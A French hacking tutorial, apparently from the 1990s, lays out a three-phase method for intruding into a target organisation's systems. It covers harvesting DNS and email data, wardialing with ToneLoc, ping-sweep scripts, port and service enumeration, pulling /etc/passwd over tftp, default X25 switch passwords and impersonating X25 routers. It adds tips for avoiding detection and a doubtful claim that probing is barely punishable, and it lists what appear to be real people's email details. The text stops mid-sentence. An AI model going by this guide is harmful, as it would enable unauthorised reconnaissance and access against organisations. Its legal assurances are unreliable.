Intrusion
C e document a pour but de vous initier
à l'intrusion dans un système informatique et ce, dans un but purement
éducatif. On considère ici que l'intrusion est un pas a franchir dans
le chemin qui mène a la notion de sécurité informatique.
-
Vous n'y trouverez aucune formule magique pour
modifier votre compte bancaire ou hacker un site web ...
-
Nous précisons que le terme hacker est
employé dans un contexte d'exploration et de découverte et non pas
dans un contexte médiatique ou législatif.
-
Ce document n'a pas la prétention de tout
connaître, d'ailleurs nous attendons de votre part des remarques et
des suggestion, sa vie est de courte durée, au vu de l'intense
activité qui se déroule actuellement dans ce secteur. C'est
pourquoi il sera mis a jour a chaque nouvelle information que nous
recevrons.
D epuis quelques temps, c'est la
sérénade dans la presse informatique et nationale sur les nouveaux 'hackers',
pardon 'consultants en sécurité' serait plus adéquat, qui font
des essais d'intrusions, ils sont rémunérés pour hacker et tester la
sécurité informatique ! Derrière le terme 'hacker' il y a des
compétences en techniques simples : une bonne connaissance de
l'informatique TCP/IP, Unix, un ou deux langages de programmation (de
préférence C et Perl) et un esprit souple.
L a Technique de l'intrusion demande
surtout de savoir lire les faq des groupes de hackers américains,
puisqu'il n'en existe pas réellement en français. Pour le plaisir des
petit et des grands, nous allons découvrir le monde merveilleux de
l'intrusion.
Approche
Notre approche consiste à attaquer selon 3 axes et en 3 phases. Les
3 axes :
- RTC pour détection de porteuse et de modems non déclarés
- X25 pour essayer de trouver des accès gros systèmes SNA/DSA
ou decnet, ou des routeurs IP/X25
- Internet pour détecter les points d'entrée
Les 3 phases outre une phase de récupération d'outils doivent
permettre :
- la récupération d'un maximum d'adresses IP, de numéros de
téléphone, de numéro X25, d'adresses e-mail, etc. et d'infos de
configurations (voir hackoff3 sur le 'Social Engineering')
- l'utilisation des infos recueillies lors de la phase 1 pour
accéder à des machines et/ou des réseaux de la victime
- l'attaque des machines
Préliminaire : Le matos
Il faut disposer des équipements suivants :
- un modem RTC classique,
- une carte X25/X32, l'abonnement correspondant, les couches TCP/IP,
PAD, etc. ainsi qu'un kit de développement TCP,
- une carte NUMERIS
Pour les OS, de LINUX ou de FreeBSD.
Pour les OS Win32, les soft pour le hack sont sous dimensionnés, donc
on utilisera plutôt Win 3.11 ou Linux.
Phase 0 : récupération d'outils et configuration des machines
Les outils sont différents selon les axes d'attaques
et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS
le plus simple pour réaliser ce type d'opération car la
quasi-totalité des outils sont standards et peuvent être automatisés
dans un shell script.
Attention : Autant, il est " facile " de
communiquer vers un provider sous W3, W95 et Windows NT, autant cela
n'est pas simple sous LINUX.
Axe RTC
Outils standard
Emulateur de terminal |
Chez http://www.tucows.com/ |
Emulateur Minitel |
En general fourni avec le modem (voir site constructeur) |
Outils spécifiques
Dialer TONELOC |
Automate d'appel d'une plage de numéro et détection de
porteuse (fax ou modem) |
Dialer NUAA |
Automate d'appel de réseau X25 en particulier SprintNet. |
Pabxhack |
Comme son nom l'indique, outil de hacking de pabx. |
Dispo en telechargement sur des sites underground
repondant au mot-clé phreaking dans les moteurs de recherche.
Phase 1 : récupération d'informations
Principe de base
Ce qui distingue cette phase de la suivante, c'est
que toutes les opérations réalisées sont totalement licites. Il ne
s'agit que de récupération d'informations disponibles sur Internet ou
ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels
des plages d'un autocom) sont limites.
Source d'informations "ponctuelles"
Les sources d'informations ponctuelles peuvent être
multiples (carte de visite obtenues de différentes manières (visite
commerciale chez la victime, annuaire, Minitel, informations recueillies
par echanges, etc.). Elles ont pour objectif de récupérer :
- des numéros de téléphone (même préfixe Tel et Fax ==>
Plage de n° PABX pour le dialer)
- des adresses E-Mail ( connectivité internet + nom de domaine)
- des adresses Internet (nom de machines et @IP)
- des adresses X25 (C'est la seule source pour les @X25)
- des informations plus générales sur la victime, ses
interconnexions, etc.
Source d'informations techniques
Axe Internet
Les sources d'informations techniques peuvent être
soit immédiatement obtenues par des informations "publiques"
sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en
fonction des résultats du chapitre précédent.
Récupération d'informations par internet
Récupération des adresses IP officielles dans
l'annuaire DNS avec "whois", "nslookup" et "dig
". Utilisation des vecteurs classiques (moteurs de recherche, news
via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des
domaines de messagerie ou des serveurs web.
1. L'annuaire DNS mondial
- Whois
Whois est une couche réseau qui exploite les tables DNS. On
interroge tout d'abord la table internic (rs.internic.net) puis si
nécessaire d'autres serveurs . L'outil "whois" est
disponible sous Linux (filewatcher.org)
Avec cet outil, on peut :
- lui passer une chaine de caractère et il vous sort la liste
des noms de domaine DNS commencant par cette chaine de
caractère . A partir de ces noms de domaines, il faut faire
une seconde recherche pour avoir des informations plus
précises,
- lui passer une adresse de réseau de classe C, B ou même A
(192.93.10.0 ou 141.29.0.0 par exemple) pour savoir à qui
elle est allouée.
Un nombre important d'adresses IP européennes est
aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net"
permet de récupérer des infos mais il n'est pas aussi souple sur les
caractères de substitutions que celui d'internic.
mettre un exemple de whois
Selon les cas, on trouve soit des adresses IP de
réseau (le pied) soit des noms de réseaux. Si on obtient des noms de
réseaux uniquement, il y a de forte chance pour que le site ne soit
pas directement connecté à internet mais uniquement via un provider
et en connexion à la volée
A contrario, ce n'est pas parce que l'on obtient
une adresse IP que la société est réellement connectée sur
Internet. Elle peut avoir simplement réservé cette adresse pour un
usage futur.
On doit donc utiliser dans cet outil :
- le nom de la société et de ses filiales (ou des noms
intermédiaires),
- les noms de réseaux et de machines identifiés lors de la phase
de récupération d'informations ponctuelles (e-mail, news, etc.),
- les adresses de classe C ou B pour savoir à qui elles
appartiennent (en les suffixant de 1 ou de 2 zéro.)
L'usage de l'outil est bien entendu récurant en fonction des
nouvelles infos dont on peut disposer.
Remarque :
Dans certains cas lorsque l'on cherche à qualifier l'appartenance
d'une classe C ou d'une classe B, le site standard (rs.internic.net)
nous fournit des plages d'adresses en précisant que ces plages ont
été allouées à des organismes autres (plages RIPE en europe par
exemple). Dans la plupart de ces cas, il est précisé un autre site
qui donnera des informations complémentaires (whois.ripe.net par
exemple).
Netfind est un outil disponible sur le site internic et accessible en
HTTP via une URL gopher. Netfind permet d'effectuer des recherches sur
les domaines de messagerie. Ces recherches sont complémentaires de
celles réalisées avec Whois. L'URL à accéder est :
gopher://ds1.internic.net:4320/7netfind%20dblookup
C'est une couche réseau qui exploite les tables
DNS. On interroge tout d'abord la table internic (rs.internic.net)
puis si nécessaire d'autres serveurs .
"nslookup" est l'outil de base UNIX pour récupérer des
informations au travers de DNS lorsque l'on connait le nom DNS de la
machine ou son adresse IP. Il permet d'obtenir différents types
d'informations en paramétrant la demande. L'objectif de son usage est
d'obtenir des adresses IP là ou whois nous avait donné des noms de
réseaux d'une part et d'obtenir des informations permettant de
relancer un whois sur les passerelles de messagerie identifiées dans
les e-mail. "nslookup" est disponible sous plusieurs OS. Il
est par contre rarement paramétrable sous Windows NT ou 95. J'utilise
donc les versions Windows pour des requêtes simples et UNIX pour les
requêtes plus détaillées. La requete de base nslookup permet de
récupérer l'adresse IP d'une machine (ou d'un nom de réseau) dont
on connaît le nom. Cela s'obtient sous unix en mode commande en
lancant :
Nslookup permet d'autres informations en utilisant le paramétre
"-query". La commande est alors :
- nslookup -query=xxxx nom_de_machine
ou xxxx peut prendre les valeurs (je ne détaille que celles que j'ai
utilisées) :
A valeur par défaut, adresse/nom DNS ou inverse
MX informations sur le serveur de messagerie (issu des e-mail)
UINFO information sur les utilisateurs (jamais de réponse !)
HINFO information sur le type de HOST (s'il est déclaré)
MINFO information sur le mail server et la mailbox (s'il y en a)
WKS les well-knowns servis sur la machine (s'ils sont déclarés)
TXT un texte complémentaire s'il en existe un
Les autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY
(qui ne marche pas). Pour plus de détail, cf. Man nslookup et
rfc1035.
Remarque :
nslookup renvoie soit une adresse IP (passage au point suivant), soit
un message d'erreur du type "host unknown'", la machine ou
le réseau ne sont pas connecté sur internet, ou un message d'erreur
du type "no record Adress (A) dispo". Il s'agit alors très
fréquemment d'une passerelle de messagerie dont on obtient les
caractéristiques via le paramètre "-query=mx".
2. Les moteurs de recherches
(liste trouvée par exemple à "http://ireste.ireste.fr/moteurs/"
ou directement sur l'un des moteurs (www.yahoo.fr, www.lycos.com,
etc.). On cherche alors le nom de la société pour identifier les
endroits ou elle est citée sur le net. On obtient alors soit des noms
de sites WEB, soit des noms ou des e-mail d'utilisateurs de la
société.
3. Les news
dans lesquelles des personnes de la société ont pu déposer des
demandes ou effectuer des réponses. les news sont par exemple
accessibles au travers d'un site web comme "www.dejanews.com".
4. Les annuaires d'email.
Aujourd'hui nous utilisons :
- www.four11.com qui permet de rechercher les utilisateurs ayant
ne email par société (il y a un champ société dans la grille
de saisie des paramétres de recherche). On obtient une liste d'emails
dont on extrait le domaine :
Joseph Abdallah @lanl.gov
CURRENT ORGANIZATION: T-4 Atomic And Optical Theory
Raj Acharya @vaxd.gat.com
CURRENT ORGANIZATION: General Atomics
Nom_du_domaine_de_messagerie Nom & adresse de la société
correspondante
- une fois cette phase terminée, il faut retourner à la phase 1
pour vérifier si les domaines de messagerie sont reliés à des
domaines DNS (via whois) ou à des machines IP (nslookup standard)
ou enfin à des passerelles de mail uniquement (via nslookup -query=mx).
On qualifie ensuite toutes les adresses obtenues pour savoir si
elles appartiennent ou non a la victime (whois sur l'adresse de
réseau de classe B ou C).
Attention :
Les domaines d'email sont surement l'un des moyens les plus efficaces
pour trouver des adresses gérées par des providers ou des sites qui
n'ont pas le nom des sociétés de la victime dans leur nom.
Axe RTC : Recherche de Modem
Utilisation du dialer MSDOS TONELOC pour détecter
les porteuses de modems.
Une recherche de modem peut être envisagée dès
lors que l'on connaît des numéros ou des plages de numéros
correspondant à la société cible. Cette méthode ne garantit
aucunement l'exhaustivité de la recherche puisque les modems sont
souvent accessibles au travers de numéros analogiques qui ne sont pas
gérés par le PABX. Une recherche plus efficace peut être envisagée
en parcourant exhaustivement les plages utilisées sur le site
géographique de la cible. Il est par contre impossible dans ce cas
d'être sûr que les numéros sur lesquels une porteuse est détecté
appartiennent bien à la cible. Cela pose un problème financier (si des
particuliers sont appelés, ils décrocheront et la communication
deviendra payante).
Les contraintes
Le coût
Le coût d'un appel qui aboutit est a priori faible. Le nombre d'appels
peut cependant conduire à un coût global important. Et ceci d'autant
plus s'il s'agit d'appels longue distance. On peut dire qu'un appel
aboutit dès lors qu'il y a décrochage à l'autre bout de la ligne :
une personne, un modem ou un fax, un répondeur. La durée de la
communication peut être variable suivant l'équipement qui décroche.
Il est dans tous les cas probable qu'il y ait raccrochage avant
d'atteindre une minute. Les communications vers certains pays peuvent
quand même atteindre 20F / minute. Pour minimiser le coût, il est donc
souhaitable d'avoir le moins possible de décrochages, et notamment de
décrochages par des personnes (qui contrairement aux machines peuvent
trouver ça louche). Ceci conduit à privilégier des compositions de
nuit, ou de jour lorsqu'il n'y a personne , c'est à dire samedi,
dimanche, ou les jours fériés.
Le temps
Pour chaque numéro appelé, il faut compter le temps de composition du
numéro, et le temps d'attente avant raccrochage (durée au bout de
laquelle on estime qu'il n'y aura pas de réponse). Sur la base
raisonnable d'une trentaine de secondes pour chaque numéro, il est
possible de composer une centaine de numéros à l'heure, soit de
l'ordre de 1200 numéros entre 19h et 7h.
garantie de résultat
L'exhaustivité des identifications (dans la limite des plages
auxquelles on applique la recherche) est dépendante
- de la bonne détection de l'éventuel plantage du modem
- du fait que les modems que l'on recherche ne sont pas éteints
manuellement (extinction), automatiquement (programmation horaire de
l'alimentation électrique) ou logiciellement (programmation du
modem par la machine à laquelle il est relié pour qu'il ne
réponde pas aux appels),
- de la configuration nocture du PABX, qui peut en fonction de
l'heure dérouter les appels vers le standard (pour toutes les
lignes ou pour certaines seulement), ou rendre certains numéros
inaccessibles.
Indications :
Les numéros correspondant à des fax (notamment celui que l'on trouve
avec le numéro du standard) peuvent donner des plantage du modem. C'est
relativement aléatoire puisque l'on ne peut préjuger de quand ces
numéros seront composés, et quand on aura des problèmes de
détection.
Utilisation de toneloc
Ce programme sait gérer le parcours automatique de
plages de numéros, en identifiant des porteuses ou des tonalités. La
deuxième fonctionnalité est probablement inintéressante en France, au
moins dans notre contexte. Une présentation rapide du paramétrage de
ce produit est fournie en annexe 1.
Caractéristiques
La définition d'une plage est faite en adjoignant un ou plusieurs X à
un préfixe, et en spécifiant pour les chiffres manquants des valeurs
de départ et de fin. Il est possible de définir des contraintes
horaires pour l'exécution de toneloc. Les commutateur /s et /e
permettent en effet de définir une heure de début et une heure de fin.
Toneloc lancé avec l'option /s attendra l'heure spécifiée pour
composer le premier numéro, sauf si la touche Esc est tapée. Le
programme arrêtera de composer des numéros dès qu'il aura dépassé
l'heure spécifiée avec le commutateur /e, et ne composera aucun
numéro s'il est lancé alors que cette heure est dépassée. Attention
cependant au cas où l'on spécifie une heure d'arrêt dans la matinée
pour un programme lancé le soir. Il semble en effet que, l'heure
nocturne étant postérieure à l'heure d'arrêt (prise dans la même
journée), que le programme ne se soit pas exécuté plusieurs fois.
Toneloc sait prendre en compte une liste noire dans laquelle on
recensera les numéros qui ne doivent pas être composés (celui du
standard pourrait y être mis systématiquement, ce qui évite qu'un
gardien ne s'étonne la nuit) Le parcours peut être incrémental ou
aléatoire, cette seconde option réduisant les risques de détection
(cela aura tendance à sonner dans n'importe quel endroit du site, et
pas deux fois de suite sur des postes situés au même endroit). La
configuration de Toneloc est gérée par un outil tlcfg. On y configure
notamment les chaînes d'initialisation du modem, le numéro de port
utilisé, le délai avant raccrochage et le format plus ou moins prolixe
d'enregistrement des connexions réussies.
Toneloc produit trois fichiers différents lorsqu'il
s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé
des porteuses, sinon deux fichiers seulement). Ce sont :
- tone.log : log des essais, avec en-tête, notification des
porteuses éventuelles, et bilan,
- found.log : enregistrement de ce qu'envoie le modem distant
(bannière par exemple) sans, puis avec titillement (envoi de
caractères par toneloc), des caractéristiques de la connexion, et
le cas échéant du nombre de secondes écoulées avant coupure de
la communication
- préfiXXX.dat, au format binaire, qui permet une visualisation par
tonemap des résultats concernant la plage parcourue, et qui est
utilisé par toneloc pour ne pas recomposer un numéro déjà
appelé.
Lorsque ces fichiers existent déjà, toneloc ajoute à la fin des .log,
et complète le contenu du .dat
Limitations de toneloc :
- Il a été constaté que toneloc ne détecte pas les porteuses de
certains fax. le faible nombre de modems recensés pourrait laisser
penser qu'il en va de même pour les porteuses de certains modems.
- Les capacités de détection sont clairement dépendantes des
caractéristiques du modem utilisé (un modem V32 ne détectera pas
bien la modulation d'un V34bis si ce dernier ne connecte qu'à 33600
bps).
- Indépendamment de cela, il n'est pas impossible que les
détections soient fonction du modèle de modem utilisé. De ce
fait, l'utilisation de modems différents pourrait permettre un
meilleur recensement, au prix toutefois d'un multiple parcours des
plages.
- L'existence de numéros à taille variable dans certains pays,
comme l'Allemagne, pose un problème avec toneloc.
- Il semble que le programme de fusion de deux .DAT relatifs à la
même plage ne soit pas complètement fonctionnel. Il faut donc
réutiliser les mêmes .DAT lorsque l'on parcourt des plages
contiguës.
Choix des plages
Si l'on connaît un préfixe, il faut être particulièrement méfiant.
La cible ne détient pas forcément tous les numéros correspondant à
toutes les valeurs de suffixe. Il faut dans ce cas valider manuellement
en procédant par encadrement de la plage. Si l'on dispose d'un ensemble
de numéros (tirés d'un annuaire), il faut vérifier qu'ils partagent
un même préfixe, puis rechercher les plus grand et plus petit numéros
alloués. On en déduit alors une plage en arrondissant au dessus et au
dessous. Cette plage est alors très sûre (sauf si elle se fonde sur
des informations périmées), mais peut très bien ne constituer qu'une
fraction de la véritable plage gérée par l'autocommutateur. dans tous
les cas, il est intéressant de valider la faisabilité de la recherche
sur cette plage
Astuces sans garantie
- privilégier les jours fériés car il est plus vraisemblable
qu'il ne soient pas gérés différemment des jours ouvrés par le
PABX
- privilégier les périodes de vacances.
Exemple de résultat d'un TONELOC
Les informations sont obtenues suite aux passages de l'outil TONELOC
pour détecter des porteuses. On détecte donc un certain nombre de
modem qui répondent. Le résultat typique d'un toneloc est :
04:26:10 "
04:26:10 ToneLoc v1.10 (Sep 29 1994)
04:26:10 ToneLoc started on 13-Mar-97
04:26:10 Using COM1 (16450 UART)
04:26:10 Data file: 011234567X.DAT
04:26:10 Config file: TL.CFG
04:26:10 Log file: TONE.LOG
04:26:10 Mask used: 011234567X
04:26:10 Range used: 0-9
04:26:10 Scanning for: Carriers
04:26:10 Initializing Modem ... Done
04:28:21 0112345675 - Timeout (3)
04:29:01 0112345670 - Timeout (0)
04:27:32 0112345671 - * CARRIER *
04:28:21 0112345674 - Timeout (3)
04:29:01 0112345676 - Timeout (0)
04:28:21 0112345672 - Timeout (3)
04:29:01 0112345679 - Timeout (0)
04:29:01 0112345673 - Timeout (0)
04:28:21 0112345678 - Timeout (3)
04:29:01 0112345677 - Timeout (0)
On y détecte donc un modem sur le n° 0112345671
A l'issu de ce travail (souvent répétitif environ
10000 appels pour 6 modems par exemple), on dispose donc de porteuses de
modem(s). Ces porteuses vont pouvoir ensuite être accédées pour
vérifier si le modem accepte les connexions entrantes.
Axe X25
Nous ne disposons pas de moyens technique pour récuperer des @X25.
Donc à ce niveau le Social engineering prend toute son importance.
Phase 2 : Exploitation des informations recueillies
Principe de base
Attention, à partir de cette phase, toutes les
opérations effectuées peuvent être interprétées à la limite comme
une tentative d'intrusion. Elles ne sont par contre pas vraiment
punissables par la loi.
Axe Internet
On dispose à l'issue de la phase 1 d'adresse IP de
réseau ou de machines.
- vérifier qu'elles sont actives et qu'elles donc répondent au
ping
Résumé : ping limité (-c x) sur toutes les adresses
l'outil ping est disponible sous UNIX et dans les autres OS.
Je l'utilise plutôt sous UNIX car il est plus facile de le paramètrer.
Nous avons bricolé des outils qui permettent de grouper les ping. Ils
sont à la base des shell-scripts. Nous avons deux versions :
- Une version très rapide et simple. On crée une liste d'adresse
sous vi, puis on écrit un mini-shell du type :
for i in `$1`
do
ping -c 2 $i >> resultat &
sleep 1
done
Son principal inconvénient est de ne pas trier les
résultats et de ne pas générer le fichier de base des adresses.
- L'autre version, elle necessite la présence dans le répertoire
courant d'un fichier 1-255 contenant 255 lignes numérotées de 1 à
255. Elle prend en paramétre le nom du fichier résultat et de la
plage d'adresse à analyser. Elle s'appuie sur un shell script du
type :
echo " " > $1
for i in `1-255`
do
echo $2.$i >> $1
ping -c 2 $2.$i >> $1
done
Son principal inconvénient est de devoir être
lancée en arriere plan pour gagner du temps et de générer un fichier
résultat par adresse de classe C. Les différentes variantes sont
liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit
dans l'affichage des informations à l'écran avant de les stocker dans
le fichier résultat (| tee -a ...)
ATTENTION, les schells scripts lancés en
arrière plan ne doivent pas afficher de message donc eviter celui
contenant les "tee".
L'exploitation des résultats peut-être réalisé
soit à la main en visualisant le fichier (fastidieux) soit par des
greps +/- automatisés. Je me suis arrêté à une suite de grep du
style :
- grep " 0%" $1
- grep " 20%" $1
- grep " 40%" $1
- grep " 50%" $1
- grep " 60%" $1
- grep " 80%" $1
qui affiche si une ligne de résultat est différente du classique
"packet lost 100%". Il faut alors se réferer au contenu du
fichier pour savoir laquelle. Si un Kador du shell-script et du sed/awk
fait mieux, merci. Les pourcentages possibles dépendent bien entendu du
paramétre -c qui précise le nombre de paquets que l'on essaye de
lancer avant de passer à l'adresse suivante. Je me suis basé sur 2
paquets, ce qui parait suffisant.
A la fin de cette phase, on est normalement à même
de savoir si certaines machines de la victime sont accessibles sur
Internet.
Attention, si une machine répond sur un
sous-réseau, il est intéressant de repasser le ping sur toute la plage
plusieurs fois. En effet, certaines machines peuvent ne pas avoir été
branchées lors du premier passage ou n'avoir pas répondu à cause du
time-out faible. Il faut également tenir compte du décalage horaire si
nécessaire.
2.Regarder quels sont les services réseaux
accessibles sur ces machines.
Les outils d'intrusion
tcp_scan et udp_scan sur les machines actives pour
identifier les services disponibles Utilisation des couches actives
publiques pour recueillir des informations (rpc, nfs, finger, ftp
anonyme, smtp via telnet sur le port 25, etc.)
Cette opération peut s'effectuer à la main ou à
l'aide d'outils complets comme SATAN, Nessus ou NMAP.
- recherche des ports accessibles (tcp_scan et udp_scan).
Ces outils ne sont disponibles que sous UNIX. A priori, j'utilise les
outils fournis avec SATAN et compilés sous LINUX. Ils sont stockés
dans le répertoire bin de satan. On lance dont sur chacune des adresses
de machine :
- tcp_scan @IP_machine 1-65535 > resultat_machine
- udp_scan @IP_machine 1-65535 >> resultat_machine
On obtient alors la liste des services actifs tant en tcp
qu'en udp sous une forme du type :
80:http
23:telnet
...
Certains services sont particuliérement utiles.
Il s'agit dans un premier temps de :
69 : tftpd qui peut parfois permettre de récupérer
le fichier /etc/passwd (récupérable uniquement
avec udp_scan
79 : fingerd qui permet d'obtenir des informations
sur le site et les utilisateurs connectés
80 : httpd qui signifie que le site dispose d'un site web.
L'accès à ce site web est un des moyens le plus sûr
de s'assurer que l'on attaque bien le bon site.
111 : Le port mapper, la machine accepte des appels RPC
(NFS, YP, etc. sont interessants pour la suite)
Dans un second temps, des services comme smtp, telnet,
ftp et rlogin permettent de se connecter à la machine.
- recherche d'informations si un port 79 (finger) est présent :
Finger est une couche haute sur TCP qui permet de recueillir des
informations sur les utilisateurs d'une machine. La partie cliente de
finger est disponible sous la totalité des OS. J'utilise soit la
version UNIX avec la possibilité de l'automatiser dans un shell-script
(je n'en ai pas écrit pour cette fonction mais ça peut venir) et
l'outil "iefinger" sous Windows 3.11 qui permet de lancer un
batch sur plusieurs adresses. Dans un premier temps, on lance finger
pour obtenir la liste des utilisateurs connectés sur la machine :
on obtient une liste du type :
Welcome to Linux version 2.2.7 at rasta.legang.fr !
3:05pm up 5 min, 3 users, load average: 0.16, 0.13, 0.08
Login Name TTY Idle When Where
toto - albert console 1 Thu 12:37 :0
titi - Titi rené pts/2 13 Mon 09:04 192.93.xxx.xxx
demo - Demonstration pts/4 18 Mon 09:09 192.93.yyy.yyy
...
On y trouve les infos suivantes :
- Le nom d'utilisateurs déclarés dans le /etc/hosts sur la
machine,
- les machines a partir desquelles ils sont capables de communiquer
avec la machine (ce qui nous donne d'autres @IP et donc une
indication sur la connectivité de la machine vers un réseau
interne et de nouvelles cibles => retour au nslookup pour les
qualifier puis au ping),
- des infos complémentaires parfois sur le type de machine (linux)
son nom DNS/interne (rasta.legang.fr) , etc.
Dans un second temps, on lance finger pour obtenir des informations sur
les utilisateurs eux-même :
- finger nom_user@IP_machine
On obtient une liste du type :
Welcome to Linux version 2.0.0 at rasta.legang.fr !
3:10pm up 10 min, 4 users, load average: 0.04, 0.09, 0.07
Login: test Name: test passwd
Directory: /home/test Shell: /bin/bash
On since Wed Jul 9 15:08 (MET DST) on tty3 1 minute 9 seconds idle
No mail.
Project:
Je travaille sur le projet X
No Plan.
Toutes les informations sur le champ gecos, les
projets sur lesquels travaille l'utilisateur peuvent être utilisées
dans une phase ultérieure d'agression. Parmi les utilisateurs, certains
doivent être remarqués. par exemple, les utilisateurs "guest"
ou "demo" qui n'ont fréquemment pas de mot de passe ou les
comptes de produits (ingres, informix, etc.) qui ont fréquemment des
mauvais mots de passe.
- Récupérer des informations sur les RPC disponibles si le port
mapper est lancé
la commande "rpcinfo" permet d'obtenir la liste des service
RPC servis via le portmapper. Ces informations doivent être stockées
pour un usage futur. la commande est :
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 704 mountd
100005 1 tcp 706 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
L'un des points importants concerne la détection de NFS (nfsd, mountd
dans les services). Un autre type de service doit être remarqué,
l'usage de NIS et des yellows pages (yp). Je vous conseil d'utiliser un
autr OS que linux, il existe beaucoup de problème de compils et d'utilsation
de yp sur Linux, on peut via ces services optenir la map du yppasswd et
des autres fichiers gérés par NIS (outil ypsnarf, ypghost, etc.).
- Récupérer des informations sur les partitions NFS exportées
La commande "showmount" permet de savoir si des partitions NFS
sont accessibles et pour quelles machines. Ces informations doivent
être stockées pour un usage futur. La commande est :
showmount -e @IP_machine
Un résultat du type :
Export list for 127.0.0.1:
/home (everyone)
signifie que la partition /home est exportable pour toutes les machines
sur internet. Plus fréquemment, on trouve un répertoire exportable
vers des machines désignées. Si elles appartiennent au client, on sait
que si on les cracke, on aura la possibilité de monter les répertoires
correspondant sur une autre machine et ainsi de suite.
- Se connecter sous ftp en connection anonyme et regarder ce que
l'on trouve comme infos.
Certains sites mettent en place un site ftp d'accès libre. S'il existe,
il peut être une source d'information (la version du ftpd, le type de
machine UNIX ou NT , un nom de compte oublié dans le /etc/passwd de la
partition anonyme, les vrais mots de passe dans le même fichier mais
faut pas réver !). la commande est :
ftp @IP_machine
user anonymous
... entrer votre E-Mail comme mot de passe ...
password guest
Résultat :
On dispose alors d'une liste d'adresse IP de machines qui répondent et
des informations sur les couches réseaux actives sur ces machines. En
ayant lancé soit le ftp, soit finger, soit le SMTP, on doit avoir
également une idée des versions de ces différentes couches ainsi que
le type d'OS des machines. On peut également avoir stocké des noms
d'utilisateurs (finger, /etc/passwd du ftp anonyme, etc.). La plupart
des OS et des couches ont des bugs connus et référencés dans les avis
des CERTS US ou australiens
Remarque
Ici, je vous ai présenté différentes technique pour l'intrusion il en
existe des centaines, souvent ephémères leur solution réside souvent
dans l'application d'un patch, pour les secteurs d'actitvités qui
possèdent un administrateur orienté sécurité, la porte est ouverte
quelques heures. Et pour d'autres c'est portes ouvertes tous les jours !
Pour connaitre les dernières failles, une culture des DOS (Denial of
Service) que je traduirai par trou de sécurité, doit se faire par une
consultation des sites sur le sujets (www.antionline.com, www.rootshell
si il vit encore... voir liens sur le site)
Axe X25
Les moyens d'accès à un réseau X25 sont variables
:
- PAD public de TRANSPAC
- PAD privé de la cible
- PAD via X32
- accès X25 natif via LS
- accès X25 natif via Transpac
- accès X25 natif via X32 par le RTC
- accès X25 natif sur le canal D Numéris
Les outils dont nous disposons sont :
- l'accès au travers d'un PAD public en facturation au demandé,
- l'utilisation de notre accès X32 en facturation au demandeur
(avec la possibilité sur cette carte de valoriser un champ USERDATA,
d'utiliser IP sur X25 (non qualifiée), d'utiliser du PAD sur
l'accès X32, de développer grace à l'API de la carte).
Nous sommes donc a priori capable d'émuler les
moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible
(c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque
donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen
des accès dont nous disposons, il est possible d'atteindre (suivant
leur configuration) des commutateurs, des routeurs ou des machines
terminales. Il est possible également en spécifiant le contenu du
champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations
SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD
- connexion au PAD (ex 0836044444, 7E1)
- éventuellement contrôle des paramètres : (PAR?), et
modification si nécessaire (SET X:Y pour changer)
- saisie d'une adresse Transpac ou d'une adresse avec des données
utilisateur au format adresseDdonnées et avec 16 caractères de
données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose),
soit rejet (message de libération CLR XX YYY où XX est la cause et YYY
le diagnostic) On peut en cours de communication repasser en mode
commande en faisant ^P
Utilisation de la carte X32
- La carte X32 est configurée . Il faut donc dans un premier temps
lancer les services de réseau
- Ensuite au travers de l'icone "test X25", on peut
essayer différents types de connexions
- Saisie d'une adresse Transpac ou d'une adresse avec des données
utilisateur au format adresseDdonnées et avec 16 caractères de
données seulement
Il y a alors soit connexion (affichage de COM, suivi d'autre chose),
soit rejet (message de libération CLR XX YYY où XX est la cause et YYY
le diagnostic) on peut en cours de communication repasser en mode
commande en faisant ^P Mécanismes de controles possibles, par ordre de
réalisation
Existence du correspondant
Si ce n'est pas le cas, message CLR NP YYY
appartenance au GFA, effectué par le dernier commutateur TRANSPAC
message CLR NA YYY
inhibition du PCV
message CLR RNA YYY
contrôle de l'adresse appelante par le commutateur de la cible
contrôle des données du paquet d'appel par le commutateur ou
l'équipement terminal
contrôle en fonction de la sous adresse (qui suit les 9 chiffres) par
le commutateur
dans les trois cas, rejet par le distant, souvent LIB DTE
Accès à des configurateurs
Les routeurs CISCO sont accessibles en PAD comme par telnet. Une access
list peut être configurée pour contrôler les accès aux consoles
virtuelles (les mêmes vtyX).
Les commutateurs X25 ont en général un
configurateur accessible en PAD
Si l'on ne fournit pas de sous adresse, le comportement dépend de la
configuration du commutateur et de leurs caractéristiques par défaut
marque |
sous adresse |
mot de passe |
divers |
matracom |
|
gsy91 |
faire ^U pour voir la bannière |
OST |
9, 99, 999 |
bonjour ou hello |
|
TRT |
Souvent des 9 |
CCLAER |
prompt = "*" |
Quelques infos sur les commutateurs TRT, en vrac :
- ils gèrent jusqu'à des sous adresse de 4 chiffres, de taille
fixe
- il y a padding à droite avec des 0, ou troncature des digits
surnuméraires à droite
- pas d'écho du mot de passe
- divers services sont accessibles suivant le contenu du champ USER
DATA
- 10CC configurateur
- 00GG générateur
- 14SS statistiques
- 04OO observation
- O2EE événements remarquables
- 12MM télémaintenance
Accès à des routeurs
En connaissant les adresses de deux routeurs
communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni
de contrôle de l'adresse de l'appelant, il doit être possible de se
faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci
donne donc un accès au réseau IP, et permet de plus d'usurper les
adresses IP
Il est plus que vraisemblable que ceci ne soit
réalisable que lorsque le routeur que l'on usurpe n'est pas en
communication avec le routeur cible.
Quelques réserves (à valider) sont cependant à
émettre. Il semble en effet que dans le cas des routeurs CISCO, les
échanges se fassent sur des circuits virtuels ditincts, le routeur
appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du
